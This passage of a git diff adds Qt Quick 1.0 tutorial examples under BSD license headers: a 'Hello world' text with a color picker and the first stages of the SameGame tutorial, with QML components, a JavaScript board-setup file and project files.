+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: page
+ width: 500; height: 200
+ color: "lightgray"
+
+ Text {
+ id: helloText
+ text: "Hello world!"
+ y: 30
+ anchors.horizontalCenter: page.horizontalCenter
+ font.pointSize: 24; font.bold: true
+
+//![1]
+ MouseArea { id: mouseArea; anchors.fill: parent }
+//![1]
+
+//![2]
+ states: State {
+ name: "down"; when: mouseArea.pressed == true
+ PropertyChanges { target: helloText; y: 160; rotation: 180; color: "red" }
+ }
+//![2]
+
+//![3]
+ transitions: Transition {
+ from: ""; to: "down"; reversible: true
+ ParallelAnimation {
+ NumberAnimation { properties: "y,rotation"; duration: 500; easing.type: Easing.InOutQuad }
+ ColorAnimation { duration: 500 }
+ }
+ }
+//![3]
+ }
+
+ Grid {
+ id: colorPicker
+ x: 4; anchors.bottom: page.bottom; anchors.bottomMargin: 4
+ rows: 2; columns: 3; spacing: 3
+
+ Cell { cellColor: "red"; onClicked: helloText.color = cellColor }
+ Cell { cellColor: "green"; onClicked: helloText.color = cellColor }
+ Cell { cellColor: "blue"; onClicked: helloText.color = cellColor }
+ Cell { cellColor: "yellow"; onClicked: helloText.color = cellColor }
+ Cell { cellColor: "steelblue"; onClicked: helloText.color = cellColor }
+ Cell { cellColor: "black"; onClicked: helloText.color = cellColor }
+ }
+}
+//![0]
diff --git a/examples/declarative/tutorials/samegame/samegame1/Block.qml b/examples/declarative/tutorials/samegame/samegame1/Block.qml
new file mode 100644
index 00000000..da3f2c2b
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame1/Block.qml
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Item {
+ id: block
+
+ Image {
+ id: img
+ anchors.fill: parent
+ source: "../shared/pics/redStone.png"
+ }
+}
+//![0]
diff --git a/examples/declarative/tutorials/samegame/samegame1/Button.qml b/examples/declarative/tutorials/samegame/samegame1/Button.qml
new file mode 100644
index 00000000..59a860ba
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame1/Button.qml
@@ -0,0 +1,83 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+
+ property string text: "Button"
+
+ signal clicked
+
+ width: buttonLabel.width + 20; height: buttonLabel.height + 5
+ border { width: 1; color: Qt.darker(activePalette.button) }
+ smooth: true
+ radius: 8
+
+ // color the button with a gradient
+ gradient: Gradient {
+ GradientStop {
+ position: 0.0
+ color: {
+ if (mouseArea.pressed)
+ return activePalette.dark
+ else
+ return activePalette.light
+ }
+ }
+ GradientStop { position: 1.0; color: activePalette.button }
+ }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: container.clicked();
+ }
+
+ Text {
+ id: buttonLabel
+ anchors.centerIn: container
+ color: activePalette.buttonText
+ text: container.text
+ }
+}
+//![0]
diff --git a/examples/declarative/tutorials/samegame/samegame1/samegame.qml b/examples/declarative/tutorials/samegame/samegame1/samegame.qml
new file mode 100644
index 00000000..42c02a99
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame1/samegame.qml
@@ -0,0 +1,82 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: screen
+
+ width: 490; height: 720
+
+ SystemPalette { id: activePalette }
+
+ Item {
+ width: parent.width
+ anchors { top: parent.top; bottom: toolBar.top }
+
+ Image {
+ id: background
+ anchors.fill: parent
+ source: "../shared/pics/background.jpg"
+ fillMode: Image.PreserveAspectCrop
+ }
+ }
+
+ Rectangle {
+ id: toolBar
+ width: parent.width; height: 30
+ color: activePalette.window
+ anchors.bottom: screen.bottom
+
+ Button {
+ anchors { left: parent.left; verticalCenter: parent.verticalCenter }
+ text: "New Game"
+ onClicked: console.log("This doesn't do anything yet...")
+ }
+
+ Text {
+ id: score
+ anchors { right: parent.right; verticalCenter: parent.verticalCenter }
+ text: "Score: Who knows?"
+ }
+ }
+}
+//![0]
diff --git a/examples/declarative/tutorials/samegame/samegame1/samegame1.qmlproject b/examples/declarative/tutorials/samegame/samegame1/samegame1.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame1/samegame1.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/tutorials/samegame/samegame2/Block.qml b/examples/declarative/tutorials/samegame/samegame2/Block.qml
new file mode 100644
index 00000000..9abaaddd
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame2/Block.qml
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: block
+
+ Image {
+ id: img
+ anchors.fill: parent
+ source: "../shared/pics/redStone.png"
+ }
+}
diff --git a/examples/declarative/tutorials/samegame/samegame2/Button.qml b/examples/declarative/tutorials/samegame/samegame2/Button.qml
new file mode 100644
index 00000000..85aea89b
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame2/Button.qml
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+
+ property string text: "Button"
+
+ signal clicked
+
+ width: buttonLabel.width + 20; height: buttonLabel.height + 5
+ border { width: 1; color: Qt.darker(activePalette.button) }
+ smooth: true
+ radius: 8
+
+ // color the button with a gradient
+ gradient: Gradient {
+ GradientStop {
+ position: 0.0
+ color: {
+ if (mouseArea.pressed)
+ return activePalette.dark
+ else
+ return activePalette.light
+ }
+ }
+ GradientStop { position: 1.0; color: activePalette.button }
+ }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: container.clicked();
+ }
+
+ Text {
+ id: buttonLabel
+ anchors.centerIn: container
+ color: activePalette.buttonText
+ text: container.text
+ }
+}
diff --git a/examples/declarative/tutorials/samegame/samegame2/samegame.js b/examples/declarative/tutorials/samegame/samegame2/samegame.js
new file mode 100644
index 00000000..c749dc17
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame2/samegame.js
@@ -0,0 +1,63 @@
+//![0]
+var blockSize = 40;
+var maxColumn = 10;
+var maxRow = 15;
+var maxIndex = maxColumn * maxRow;
+var board = new Array(maxIndex);
+var component;
+
+//Index function used instead of a 2D array
+function index(column, row) {
+ return column + (row * maxColumn);
+}
+
+function startNewGame() {
+ //Delete blocks from previous game
+ for (var i = 0; i < maxIndex; i++) {
+ if (board[i] != null)
+ board[i].destroy();
+ }
+
+ //Calculate board size
+ maxColumn = Math.floor(background.width / blockSize);
+ maxRow = Math.floor(background.height / blockSize);
+ maxIndex = maxRow * maxColumn;
+
+ //Initialize Board
+ board = new Array(maxIndex);
+ for (var column = 0; column < maxColumn; column++) {
+ for (var row = 0; row < maxRow; row++) {
+ board[index(column, row)] = null;
+ createBlock(column, row);
+ }
+ }
+}
+
+function createBlock(column, row) {
+ if (component == null)
+ component = Qt.createComponent("Block.qml");
+
+ // Note that if Block.qml was not a local file, component.status would be
+ // Loading and we should wait for the component's statusChanged() signal to
+ // know when the file is downloaded and ready before calling createObject().
+ if (component.status == Component.Ready) {
+ var dynamicObject = component.createObject(background);
+ if (dynamicObject == null) {
+ console.log("error creating block");
+ console.log(component.errorString());
+ return false;
+ }
+ dynamicObject.x = column * blockSize;
+ dynamicObject.y = row * blockSize;
+ dynamicObject.width = blockSize;
+ dynamicObject.height = blockSize;
+ board[index(column, row)] = dynamicObject;
+ } else {
+ console.log("error loading block component");
+ console.log(component.errorString());
+ return false;
+ }
+ return true;
+}
+//![0]
+
diff --git a/examples/declarative/tutorials/samegame/samegame2/samegame.qml b/examples/declarative/tutorials/samegame/samegame2/samegame.qml
new file mode 100644
index 00000000..a72765ca
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame2/samegame.qml
@@ -0,0 +1,85 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+//![2]
+import "samegame.js" as SameGame
+//![2]
+
+Rectangle {
+ id: screen
+
+ width: 490; height: 720
+
+ SystemPalette { id: activePalette }
+
+ Item {
+ width: parent.width
+ anchors { top: parent.top; bottom: toolBar.top }
+
+ Image {
+ id: background
+ anchors.fill: parent
+ source: "../shared/pics/background.jpg"
+ fillMode: Image.PreserveAspectCrop
+ }
+ }
+
+ Rectangle {
+ id: toolBar
+ width: parent.width; height: 32
+ color: activePalette.window
+ anchors.bottom: screen.bottom
+
+//![1]
+ Button {
+ anchors { left: parent.left; verticalCenter: parent.verticalCenter }
+ text: "New Game"
+ onClicked: SameGame.startNewGame()
+ }
+//![1]
+
+ Text {
+ id: score
+ anchors { right: parent.right; verticalCenter: parent.verticalCenter }
+ text: "Score: Who knows?"
+ }
+ }
+}
diff --git a/examples/declarative/tutorials/samegame/samegame2/samegame2.qmlproject b/examples/declarative/tutorials/samegame/samegame2/samegame2.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame2/samegame2.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/tutorials/samegame/samegame3/Block.qml b/examples/declarative/tutorials/samegame/samegame3/Block.qml
new file mode 100644
index 00000000..064df377
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame3/Block.qml
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Item {
+ id: block
+
+ property int type: 0
+
+ Image {
+ id: img
+
+ anchors.fill: parent
+ source: {
+ if (type == 0)
+ return "../shared/pics/redStone.png";
+ else if (type == 1)
+ return "../shared/pics/blueStone.png";
+ else
+ return "../shared/pics/greenStone.png";
+ }
+ }
+}
+//![0]
diff --git a/examples/declarative/tutorials/samegame/samegame3/Button.qml b/examples/declarative/tutorials/samegame/samegame3/Button.qml
new file mode 100644
index 00000000..85aea89b
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame3/Button.qml
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+
+ property string text: "Button"
+
+ signal clicked
+
+ width: buttonLabel.width + 20; height: buttonLabel.height + 5
+ border { width: 1; color: Qt.darker(activePalette.button) }
+ smooth: true
+ radius: 8
+
+ // color the button with a gradient
+ gradient: Gradient {
+ GradientStop {
+ position: 0.0
+ color: {
+ if (mouseArea.pressed)
+ return activePalette.dark
+ else
+ return activePalette.light
+ }
+ }
+ GradientStop { position: 1.0; color: activePalette.button }
+ }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: container.clicked();
+ }
+
+ Text {
+ id: buttonLabel
+ anchors.centerIn: container
+ color: activePalette.buttonText
+ text: container.text
+ }
+}
diff --git a/examples/declarative/tutorials/samegame/samegame3/Dialog.qml b/examples/declarative/tutorials/samegame/samegame3/Dialog.qml
new file mode 100644
index 00000000..6549bb0c
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame3/Dialog.qml
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
